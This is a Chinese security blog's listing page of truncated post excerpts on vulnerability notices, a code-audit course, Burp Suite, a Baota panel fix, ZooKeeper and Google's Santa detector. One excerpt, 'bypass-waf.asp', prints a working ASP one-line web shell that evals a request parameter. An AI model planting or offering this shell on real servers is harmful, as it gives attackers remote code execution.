受影响系统：ShareLaTeX ShareLaTeX <= 0.1.3描述：----------------------------------------------------------...
Seay信息安全博客
代码审计教程：溜客顶级脚本JSP 0day挖掘及代码防
显示不全请点击全屏阅读 代码审计教程：溜客顶级脚本JSP0day挖掘及代码防御系列教程 教程大小:1.04G 教程总量:15课 讲师介绍:360软防研发团队项目部主管safe3 相关链接:http:/...
bypass-waf.asp
<%dim x1,x2x1 = request("pass")x2 = x1eval x2%> <!-- yes++ --><!-- 一句话 pass...
神兵利刃
Burp Suite详细使用教程-Intruder模块详解
小编：Burp Suite是一个Web应用程序集成攻击平台，它包含了一系列burp工具，这些工具之间有大量接口可以互相通信，这样设计的目的是为了促进和提高整个攻击的效率。平台中所有工具共享同一robu...
系统文档
宝塔临时方案-来自wulabing的公告板
我这里给出临时解决方案（应该大概也许不会有什么影响吧） 复制下列四行至服务器 echo "" > /www/server/panel/script/site_task.py chattr +i ...
极客品尝
谷歌是如何靠着模块化重新定义手机的？
在网上第一次看到谷歌模块化手机相关信息的时候，我脑海里能呈现的是这样几个词汇：惊讶、科幻、疯狂、概念手机、魔方。而且，这还真不是实验室里一群天才们的概念化产品，它就要来到我们面前：明年第一季度这个产品...
WEB安全
zookeeper命令行(zkCli.sh&zkServer.sh)使用及四字命令
zookeeper提供了很多方便的功能，方便我们查看服务器的状态，增加，修改，删除数据（入口是zkServer.sh和zkCli.sh）。还提供了一系列四字命令，方便我们跟服务器进行各种交互，来确认服...
脚本语言
编写更加稳定、可读性强的JavaScript代码
每个人都有自己的编程风格，也无可避免的要去感受别人的编程风格——修改别人的代码。”修改别人的代码”对于我们来说的一件很痛苦的事情。因为有些代码并不是...
三种东西永远不要放到数据库里
我已经在很多演讲里说过，改进你的系统的最好的方法是先避免做“蠢事”。我并不是说你或你开发的东西“蠢”，只是有些决定很容易被人们忽略掉其暗含的牵连，认...
神兵利刃
谷歌为MacOS打造开源恶意检测系统|
谷歌最近正致力于打造一款针对MacOS的恶意检测系统，目前它已经在Github上开源。这个由谷歌Macintosh Operations团队开发的项目名叫Santa，现在已经更新到了0.9.12版本。...
